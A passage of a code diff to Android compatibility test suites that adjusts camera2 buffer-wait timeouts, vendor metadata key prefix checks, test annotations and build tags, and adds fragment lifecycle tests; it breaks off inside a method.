diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 8c7e342..92b171a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -379,6 +379,20 @@
checkNotNull("request", request);
checkNotNull("graph", graph);
+ long exposureTimeNs = -1;
+ int controlMode = -1;
+ int aeMode = -1;
+ if (request.get(CaptureRequest.CONTROL_MODE) != null) {
+ controlMode = request.get(CaptureRequest.CONTROL_MODE);
+ }
+ if (request.get(CaptureRequest.CONTROL_AE_MODE) != null) {
+ aeMode = request.get(CaptureRequest.CONTROL_AE_MODE);
+ }
+ if ((request.get(CaptureRequest.SENSOR_EXPOSURE_TIME) != null) &&
+ ((controlMode == CaptureRequest.CONTROL_MODE_OFF) ||
+ (aeMode == CaptureRequest.CONTROL_AE_MODE_OFF))) {
+ exposureTimeNs = request.get(CaptureRequest.SENSOR_EXPOSURE_TIME);
+ }
mSession.capture(request, new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request,
@@ -388,7 +402,12 @@
}, mHandler);
if (VERBOSE) Log.v(TAG, "Waiting for single shot buffer");
- graph.advanceInputWaiting();
+ if (exposureTimeNs > 0) {
+ graph.advanceInputWaiting(
+ java.util.concurrent.TimeUnit.NANOSECONDS.toMillis(exposureTimeNs));
+ } else {
+ graph.advanceInputWaiting();
+ }
if (VERBOSE) Log.v(TAG, "Got the buffer");
graph.execute();
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 482c62f..11071fc 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -16,9 +16,9 @@
package android.hardware.camera2.cts;
-import static org.mockito.AdditionalMatchers.and;
-import static org.mockito.AdditionalMatchers.not;
import static org.mockito.Mockito.*;
+import static org.mockito.AdditionalMatchers.not;
+import static org.mockito.AdditionalMatchers.and;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -33,14 +33,17 @@
import android.os.HandlerThread;
import android.test.AndroidTestCase;
import android.util.Log;
+
import com.android.ex.camera2.blocking.BlockingStateCallback;
+
+import org.mockito.ArgumentCaptor;
+import org.mockito.InOrder;
+
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.concurrent.LinkedBlockingQueue;
-import org.mockito.ArgumentCaptor;
-import org.mockito.InOrder;
/**
* <p>Basic test for CameraManager class.</p>
@@ -120,7 +123,7 @@
return -1; // unreachable
}
-
+
public void testCameraManagerGetDeviceIdList() throws Exception {
// Test: that the getCameraIdList method runs without exceptions.
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 20070a7..000edcd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -36,17 +36,18 @@
import android.util.Rational;
import android.util.Range;
import android.util.Size;
+import android.util.Patterns;
import android.view.Surface;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Extended tests for static camera characteristics.
*/
@@ -55,7 +56,6 @@
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
private static final String PREFIX_ANDROID = "android";
- private static final String PREFIX_VENDOR = "com";
/*
* Constants for static RAW metadata.
@@ -141,7 +141,6 @@
/**
* Test that the available stream configurations contain a few required formats and sizes.
*/
- @CddTest(requirement="7.5.4/C-0-4,7.5.2/C-1-2,7.5.1/C-1-2")
public void testAvailableStreamConfigs() {
int counter = 0;
for (CameraCharacteristics c : mCharacteristics) {
@@ -944,7 +943,6 @@
/**
* Cross-check StreamConfigurationMap output
*/
- @CddTest(requirement="7.5.4/C-0-4")
public void testStreamConfigurationMap() throws Exception {
int counter = 0;
for (CameraCharacteristics c : mCharacteristics) {
@@ -1329,7 +1327,6 @@
*
* @return value of the {@code key} from {@code c}
*/
- @CddTest(requirement="7.5.4/C-0-7,C-0-8")
private <T> T expectKeyAvailable(CameraCharacteristics c, CameraCharacteristics.Key<T> key,
int hwLevel, int... capabilities) {
@@ -1425,15 +1422,12 @@
}
/**
- * The key name has a prefix of either "android." or "com."; other prefixes are not valid.
+ * The key name has a prefix of either "android." or a valid TLD; other prefixes are not valid.
*/
private static void assertKeyPrefixValid(String keyName) {
- assertStartsWithAnyOf(
+ assertStartsWithAndroidOrTLD(
"All metadata keys must start with 'android.' (built-in keys) " +
- "or 'com.' (vendor-extended keys)", new String[] {
- PREFIX_ANDROID + ".",
- PREFIX_VENDOR + ".",
- }, keyName);
+ "or valid TLD (vendor-extended keys)", keyName);
}
private static void assertTrueForKey(String msg, CameraCharacteristics.Key<?> key,
@@ -1452,15 +1446,21 @@
msg, Arrays.toString(expected), actual));
}
- private static <T> void assertStartsWithAnyOf(String msg, String[] expected, String actual) {
- for (int i = 0; i < expected.length; ++i) {
- if (actual.startsWith(expected[i])) {
+ private static <T> void assertStartsWithAndroidOrTLD(String msg, String keyName) {
+ String delimiter = ".";
+ if (keyName.startsWith(PREFIX_ANDROID + delimiter)) {
+ return;
+ }
+ Pattern tldPattern = Pattern.compile(Patterns.TOP_LEVEL_DOMAIN_STR);
+ Matcher match = tldPattern.matcher(keyName);
+ if (match.find(0) && (0 == match.start()) && (!match.hitEnd())) {
+ if (keyName.regionMatches(match.end(), delimiter, 0, delimiter.length())) {
return;
}
}
- fail(String.format("%s: (expected to start with any of %s, but value was %s)",
- msg, Arrays.toString(expected), actual));
+ fail(String.format("%s: (expected to start with %s or valid TLD, but value was %s)",
+ msg, PREFIX_ANDROID + delimiter, keyName));
}
/** Return a positive int if left > right, 0 if left==right, negative int if left < right */
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
index 7e4508a..b018645 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
@@ -38,5 +38,11 @@
testJpegNative(DEBUG_FILE_NAME_BASE));
}
+ public void testImageReaderCloseAcquiredImages() {
+ assertTrue("testImageReaderClose fail, see log for details",
+ testImageReaderCloseAcquiredImagesNative());
+ }
+
private static native boolean testJpegNative(String filePath);
+ private static native boolean testImageReaderCloseAcquiredImagesNative();
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 6e8cf51..5eed3e8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -146,6 +146,7 @@
assertTrue("Camera does not contain outputted image resolution " + actualSize,
testSizes.contains(actualSize));
+ imageReader.close();
} finally {
closeDevice(id);
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 3d785d1..9f51fdf 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -46,7 +46,6 @@
import com.android.ex.camera2.blocking.BlockingSessionCallback;
import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
-import com.android.compatibility.common.util.CddTest;
import java.io.ByteArrayOutputStream;
import java.util.ArrayList;
@@ -483,7 +482,6 @@
* the devices.
* </p>
*/
- @CddTest(requirement="7.5/C-1-2")
public void testAllocateBitmap() throws Exception {
for (String id : mCameraIds) {
try {
@@ -626,6 +624,7 @@
focuser = new Camera2Focuser(mCamera, mSession, mPreviewSurface, afListener,
mStaticInfo.getCharacteristics(), mHandler);
if (canSetAfRegion) {
+ previewRequest.set(CaptureRequest.CONTROL_AF_REGIONS, afRegions);
stillRequest.set(CaptureRequest.CONTROL_AF_REGIONS, afRegions);
}
focuser.startAutoFocus(afRegions);
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java b/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
index c7435a8..576f627 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
@@ -99,6 +99,29 @@
}
/**
+ * Waits for a buffer to become available, then immediately
+ * {@link Allocation#ioReceive receives} it.
+ *
+ * <p>After calling this, the next script used with this allocation will use the
+ * newer buffer.</p>
+ *
+ * @param timeoutMs timeout in milliseconds.
+ *
+ * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+ * @throws IllegalStateException If this object has already been {@link #close closed}
+ */
+ public synchronized void waitForBufferAndReceive(long timeoutMs) {
+ checkNotClosed();
+
+ if (VERBOSE) Log.v(TAG, "waitForBufferAndReceive - begin");
+
+ mListener.waitForBuffer(timeoutMs);
+ mAllocation.ioReceive();
+
+ if (VERBOSE) Log.v(TAG, "waitForBufferAndReceive - Allocation#ioReceive");
+ }
+
+ /**
* If there are multiple pending buffers, {@link Allocation#ioReceive receive} the latest one.
*
* <p>Does not block if there are no currently pending buffers.</p>
@@ -175,14 +198,16 @@
/**
* Waits for a buffer. Caller must call ioReceive exactly once after calling this.
*
+ * @param timeoutMs wait timeout in milliseconds
+ *
* @throws TimeoutRuntimeException If waiting for the buffer has timed out.
*/
- public void waitForBuffer() {
+ private void waitForBufferWithTimeout(long timeoutMs) {
synchronized (mBufferSyncObject) {
while (mPendingBuffers == 0) {
try {
if (VERBOSE) Log.v(TAG, "waiting for next buffer");
- mBufferSyncObject.wait(TIMEOUT_MS);
+ mBufferSyncObject.wait(timeoutMs);
if (mPendingBuffers == 0) {
throw new TimeoutRuntimeException("wait for buffer image timed out");
}
@@ -194,6 +219,30 @@
}
}
+ /**
+ * Waits for a buffer. Caller must call ioReceive exactly once after calling this.
+ *
+ * @param timeoutMs wait timeout in milliseconds.
+ *
+ * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+ */
+ public void waitForBuffer(long timeoutMs) {
+ if (timeoutMs <= TIMEOUT_MS) {
+ waitForBufferWithTimeout(TIMEOUT_MS);
+ } else {
+ waitForBufferWithTimeout(timeoutMs + TIMEOUT_MS);
+ }
+ }
+
+ /**
+ * Waits for a buffer. Caller must call ioReceive exactly once after calling this.
+ *
+ * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+ */
+ public void waitForBuffer() {
+ waitForBufferWithTimeout(TIMEOUT_MS);
+ }
+
@Override
public void onBufferAvailable(Allocation a) {
if (VERBOSE) Log.v(TAG, "new buffer in allocation available");
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java b/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
index 56d8703..6bb0f40 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
@@ -88,6 +88,21 @@
}
/**
+ *
+ * Check and throw an exception in case the graph was not configured with
+ * {@link Builder#configureInputWithSurface configureInputWithSurface}.
+ *
+ * @throws IllegalArgumentException
+ * if the graph wasn't configured with
+ * {@link Builder#configureInputWithSurface configureInputWithSurface}
+ */
+ private void checkInput() {
+ if (!isInputFromSurface()) {
+ throw new IllegalArgumentException("Graph was not configured with USAGE_IO_INPUT");
+ }
+ }
+
+ /**
* Wait until another buffer is produced into the input {@link Surface}, then
* update the backing input {@link Allocation} with the latest buffer with
* {@link Allocation#ioReceive ioReceive}.
@@ -100,14 +115,30 @@
*/
public void advanceInputWaiting() {
checkNotClosed();
- if (!isInputFromSurface()) {
- throw new IllegalArgumentException("Graph was not configured with USAGE_IO_INPUT");
- }
-
+ checkInput();
mInputBlocker.waitForBufferAndReceive();
}
/**
+ * Wait until another buffer is produced into the input {@link Surface}, then
+ * update the backing input {@link Allocation} with the latest buffer with
+ * {@link Allocation#ioReceive ioReceive}.
+ *
+ * @param timeoutMs wait timeout in milliseconds.
+ *
+ * @throws IllegalArgumentException
+ * if the graph wasn't configured with
+ * {@link Builder#configureInputWithSurface configureInputWithSurface}
+ * @throws TimeoutRuntimeException
+ * if waiting for the buffer times out
+ */
+ public void advanceInputWaiting(long timeoutMs) {
+ checkNotClosed();
+ checkInput();
+ mInputBlocker.waitForBufferAndReceive(timeoutMs);
+ }
+
+ /**
* Update the backing input {@link Allocation} with the latest buffer with
* {@link Allocation#ioReceive ioReceive} repeatedly until no more buffers are pending.
*
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 4341242..3b697ce 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -44,7 +44,7 @@
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
import android.view.SurfaceHolder;
-import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
@@ -57,6 +57,7 @@
import java.util.Iterator;
import java.util.List;
import java.util.TimeZone;
+
import junit.framework.AssertionFailedError;
/**
@@ -382,7 +383,7 @@
terminateMessageLooper();
}
}
- @CddTest(requirement="7.5.4/C-0-5")
+
private void subtestTakePictureByCamera(boolean isVideoSnapshot,
int videoWidth, int videoHeight) throws Exception {
int videoSnapshotMinArea =
@@ -582,7 +583,6 @@
}
// Also test Camera.Parameters
- @CddTest(requirement="[7.5.4/C-0-1,C-0-2,C-0-3,C-0-6")
private void assertParameters(Parameters parameters) {
// Parameters constants
final int PICTURE_FORMAT = ImageFormat.JPEG;
@@ -1716,7 +1716,6 @@
distances2[Parameters.FOCUS_DISTANCE_FAR_INDEX]);
}
- @CddTest(requirement="7.5.2/C-1-3")
@UiThreadTest
public void testMultipleCameras() throws Exception {
int nCameras = Camera.getNumberOfCameras();
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
index e8d5837..aa048cf 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
@@ -25,17 +25,15 @@
import android.media.Image;
import android.util.Log;
import android.util.Size;
-
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.Matcher;
-import org.junit.rules.ErrorCollector;
-
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Objects;
import java.util.Set;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.Matcher;
+import org.junit.rules.ErrorCollector;
/**
* A camera test ErrorCollector class to gather the test failures during a test,
@@ -891,7 +889,7 @@
if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
return;
}
- String reason = "Key " + key.getName() + " value " + value
+ String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
+ " doesn't contain the expected value " + expected;
expectContains(reason, value, expected);
}
@@ -909,7 +907,7 @@
if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
return;
}
- String reason = "Key " + key.getName() + " value " + value
+ String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
+ " doesn't contain the expected value " + expected;
expectContains(reason, value, expected);
}
@@ -927,7 +925,7 @@
if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
return;
}
- String reason = "Key " + key.getName() + " value " + value
+ String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
+ " doesn't contain the expected value " + expected;
expectContains(reason, value, expected);
}
@@ -948,7 +946,7 @@
public <T> void expectContains(T[] values, T expected) {
String reason = "Expected value " + expected
- + " is not contained in the given values " + values;
+ + " is not contained in the given values " + Arrays.toString(values);
expectContains(reason, values, expected);
}
@@ -984,7 +982,7 @@
public void expectContains(int[] values, int expected) {
String reason = "Expected value " + expected
- + " is not contained in the given values " + values;
+ + " is not contained in the given values " + Arrays.toString(values);
expectContains(reason, values, expected);
}
@@ -1028,7 +1026,7 @@
*/
public void expectContains(boolean[] values, boolean expected) {
String reason = "Expected value " + expected
- + " is not contained in the given values " + values;
+ + " is not contained in the given values " + Arrays.toString(values);
expectContains(reason, values, expected);
}
diff --git a/tests/dram/Android.mk b/tests/dram/Android.mk
index e286e8d..1d21cdc 100644
--- a/tests/dram/Android.mk
+++ b/tests/dram/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsDramTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 16
diff --git a/tests/dram/jni/Android.mk b/tests/dram/jni/Android.mk
index 4469cc4..1021aaa 100644
--- a/tests/dram/jni/Android.mk
+++ b/tests/dram/jni/Android.mk
@@ -26,4 +26,6 @@
LOCAL_SDK_VERSION := 14
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
index 3be19c2..08c2a5e 100644
--- a/tests/expectations/knownfailures.txt
+++ b/tests/expectations/knownfailures.txt
@@ -232,16 +232,6 @@
bug: 23827982
},
{
- description: "VP9 encoder is not a standard requirement of android as of O.",
- names: [
- "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180",
- "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360",
- "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720",
- "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080"
- ],
- bug: 33090965
-},
-{
description: "protected broadcast not working",
names: [
"android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts"
diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
index 417d7c4..9dca6af 100644
--- a/tests/filesystem/Android.mk
+++ b/tests/filesystem/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PACKAGE_NAME := CtsFileSystemTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 16
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index f9abebb..408fa79 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -34,7 +34,7 @@
super.tearDown();
}
- @CddTest(requirement="8.2")
+ @CddTest(requirement="8.2/H-0-4,T-0-4")
public void testRandomRead() throws Exception {
final int READ_BUFFER_SIZE = 4 * 1024;
final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), READ_BUFFER_SIZE);
@@ -49,7 +49,7 @@
}
// It is taking too long in some device, and thus cannot run multiple times
- @CddTest(requirement="8.2")
+ @CddTest(requirement="8.2/H-0-2,T-0-2")
public void testRandomUpdate() throws Exception {
final int WRITE_BUFFER_SIZE = 4 * 1024;
final long usableSpace = Environment.getDataDirectory().getUsableSpace();
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index ed24759..4907b81 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -18,6 +18,7 @@
import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.MeasureRun;
import com.android.compatibility.common.util.MeasureTime;
@@ -46,7 +47,7 @@
super.tearDown();
}
- @CddTest(requirement="8.2")
+ @CddTest(requirement="8.2/H-0-1,T-0-1")
public void testSingleSequentialWrite() throws Exception {
final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
if (fileSize == 0) { // not enough space, give up
@@ -88,7 +89,7 @@
NUMBER_REPETITION, REPORT_LOG_NAME, streamName);
}
- @CddTest(requirement="8.2")
+ @CddTest(requirement="8.2/H-0-3,T-0-3")
public void testSingleSequentialRead() throws Exception {
final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
if (fileSize == 0) { // not enough space, give up
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index 053e668..1785097 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk
@@ -34,13 +34,13 @@
android-common \
compatibility-device-util \
ctstestrunner \
- platform-test-annotations
+ legacy-android-test
#LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/fragment/AndroidTest.xml b/tests/fragment/AndroidTest.xml
index 690bdc2..4e563d9 100644
--- a/tests/fragment/AndroidTest.xml
+++ b/tests/fragment/AndroidTest.xml
@@ -14,7 +14,7 @@
limitations under the License.
-->
<configuration description="Configuration for app.usage Tests">
- <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsFragmentTestCases.apk" />
diff --git a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
index 00ec95b..c1fd9d8 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
@@ -46,6 +46,7 @@
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Pair;
import android.view.LayoutInflater;
+import android.view.Menu;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
@@ -956,6 +957,112 @@
});
}
+ @Test
+ public void optionsMenu() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, null);
+ FragmentManager fm = fc.getFragmentManager();
+
+ InvalidateOptionFragment fragment = new InvalidateOptionFragment();
+ fm.beginTransaction()
+ .add(android.R.id.content, fragment)
+ .commit();
+ fm.executePendingTransactions();
+
+ Menu menu = mock(Menu.class);
+ fc.dispatchPrepareOptionsMenu(menu);
+ assertTrue(fragment.onPrepareOptionsMenuCalled);
+ fragment.onPrepareOptionsMenuCalled = false;
+ FragmentTestUtil.destroy(mActivityRule, fc);
+ fc.dispatchPrepareOptionsMenu(menu);
+ assertFalse(fragment.onPrepareOptionsMenuCalled);
+ });
+ }
+
+
+ /**
+ * When a retained instance fragment is saved while in the back stack, it should go
+ * through onCreate() when it is popped back.
+ */
+ @Test
+ public void retainInstanceWithOnCreate() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, null);
+ FragmentManager fm = fc.getFragmentManager();
+
+ OnCreateFragment fragment1 = new OnCreateFragment();
+
+ fm.beginTransaction()
+ .add(fragment1, "1")
+ .commit();
+ fm.beginTransaction()
+ .remove(fragment1)
+ .addToBackStack(null)
+ .commit();
+
+ Pair<Parcelable, FragmentManagerNonConfig> savedState =
+ FragmentTestUtil.destroy(mActivityRule, fc);
+ Pair<Parcelable, FragmentManagerNonConfig> restartState =
+ Pair.create(savedState.first, null);
+
+ fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, restartState);
+
+ // Save again, but keep the state
+ savedState = FragmentTestUtil.destroy(mActivityRule, fc);
+
+ fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, savedState);
+
+ fm = fc.getFragmentManager();
+
+ fm.popBackStackImmediate();
+ OnCreateFragment fragment2 = (OnCreateFragment) fm.findFragmentByTag("1");
+ assertTrue(fragment2.onCreateCalled);
+ fm.popBackStackImmediate();
+ });
+ }
+
+ /**
+ * A retained instance fragment should go through onCreate() once, even through save and
+ * restore.
+ */
+ @Test
+ public void retainInstanceOneOnCreate() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, null);
+ FragmentManager fm = fc.getFragmentManager();
+
+ OnCreateFragment fragment = new OnCreateFragment();
+
+ fm.beginTransaction()
+ .add(fragment, "fragment")
+ .commit();
+ fm.executePendingTransactions();
+
+ fm.beginTransaction()
+ .remove(fragment)
+ .addToBackStack(null)
+ .commit();
+
+ assertTrue(fragment.onCreateCalled);
+ fragment.onCreateCalled = false;
+
+ Pair<Parcelable, FragmentManagerNonConfig> savedState =
+ FragmentTestUtil.destroy(mActivityRule, fc);
+
+ fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, savedState);
+ fm = fc.getFragmentManager();
+
+ fm.popBackStackImmediate();
+ assertFalse(fragment.onCreateCalled);
+ });
+ }
+
private void executePendingTransactions(final FragmentManager fm) throws Throwable {
mActivityRule.runOnUiThread(new Runnable() {
@Override
@@ -1162,4 +1269,33 @@
}
}
}
+
+ public static class InvalidateOptionFragment extends Fragment {
+ public boolean onPrepareOptionsMenuCalled;
+
+ public InvalidateOptionFragment() {
+ setHasOptionsMenu(true);
+ }
+
+ @Override
+ public void onPrepareOptionsMenu(Menu menu) {
+ onPrepareOptionsMenuCalled = true;
+ assertNotNull(getContext());
+ super.onPrepareOptionsMenu(menu);
+ }
+ }
+
+ public static class OnCreateFragment extends Fragment {
+ public boolean onCreateCalled;
+
+ public OnCreateFragment() {
+ setRetainInstance(true);
+ }
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ onCreateCalled = true;
+ }
+ }
}
diff --git a/tests/fragment/src/android/fragment/cts/LoaderActivity.java b/tests/fragment/src/android/fragment/cts/LoaderActivity.java
index 9c69f75..b1a8add 100644
--- a/tests/fragment/src/android/fragment/cts/LoaderActivity.java
+++ b/tests/fragment/src/android/fragment/cts/LoaderActivity.java
@@ -23,6 +23,8 @@
import android.view.ViewGroup;
import android.widget.TextView;
+import java.util.concurrent.CountDownLatch;
+
/**
* This Activity sets the text when loading completes. It also tracks the Activity in
* a static variable, so it must be cleared in test tear down.
@@ -30,6 +32,7 @@
public class LoaderActivity extends RecreatedActivity {
public TextView textView;
public TextView textViewB;
+ public CountDownLatch loadFinished = new CountDownLatch(1);
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -59,6 +62,7 @@
@Override
public void onLoadFinished(Loader<String> loader, String data) {
textView.setText(data);
+ loadFinished.countDown();
}
@Override
@@ -82,3 +86,4 @@
}
}
}
+
diff --git a/tests/fragment/src/android/fragment/cts/LoaderTest.java b/tests/fragment/src/android/fragment/cts/LoaderTest.java
index 2eb897e..fbf4258 100755
--- a/tests/fragment/src/android/fragment/cts/LoaderTest.java
+++ b/tests/fragment/src/android/fragment/cts/LoaderTest.java
@@ -96,10 +96,13 @@
@Test
public void startWhenReused() throws Throwable {
LoaderActivity activity = mActivityRule.getActivity();
+ activity.waitForResume(mActivityRule);
+ assertTrue(activity.loadFinished.await(1, TimeUnit.SECONDS));
assertEquals("Loaded!", activity.textView.getText().toString());
activity = FragmentTestUtil.recreateActivity(mActivityRule, activity);
+ assertTrue(activity.loadFinished.await(1, TimeUnit.SECONDS));
// After orientation change, the text should still be loaded properly
assertEquals("Loaded!", activity.textView.getText().toString());
diff --git a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
index 82b32a9..833d532 100644
--- a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
+++ b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
@@ -15,16 +15,21 @@
*/
package android.fragment.cts;
+import static org.junit.Assert.assertTrue;
+
import android.app.Activity;
import android.os.Bundle;
+import android.support.test.rule.ActivityTestRule;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
-public class RecreatedActivity extends Activity {
+public class RecreatedActivity extends FragmentTestActivity {
// These must be cleared after each test using clearState()
public static RecreatedActivity sActivity;
public static CountDownLatch sResumed;
public static CountDownLatch sDestroyed;
+ private boolean mIsResumed;
public static void clearState() {
sActivity = null;
@@ -41,15 +46,42 @@
@Override
protected void onResume() {
super.onResume();
+ mIsResumed = true;
if (sResumed != null) {
sResumed.countDown();
}
}
@Override
+ protected void onPause() {
+ super.onPause();
+ mIsResumed = false;
+ }
+
+ @Override
protected void onDestroy() {
super.onDestroy();
if (sDestroyed != null) {
sDestroyed.countDown();
}
- }}
+ }
+
+ public void waitForResume(ActivityTestRule<? extends Activity> rule) throws Throwable {
+ if (mIsResumed) {
+ return;
+ }
+ if (sResumed != null) {
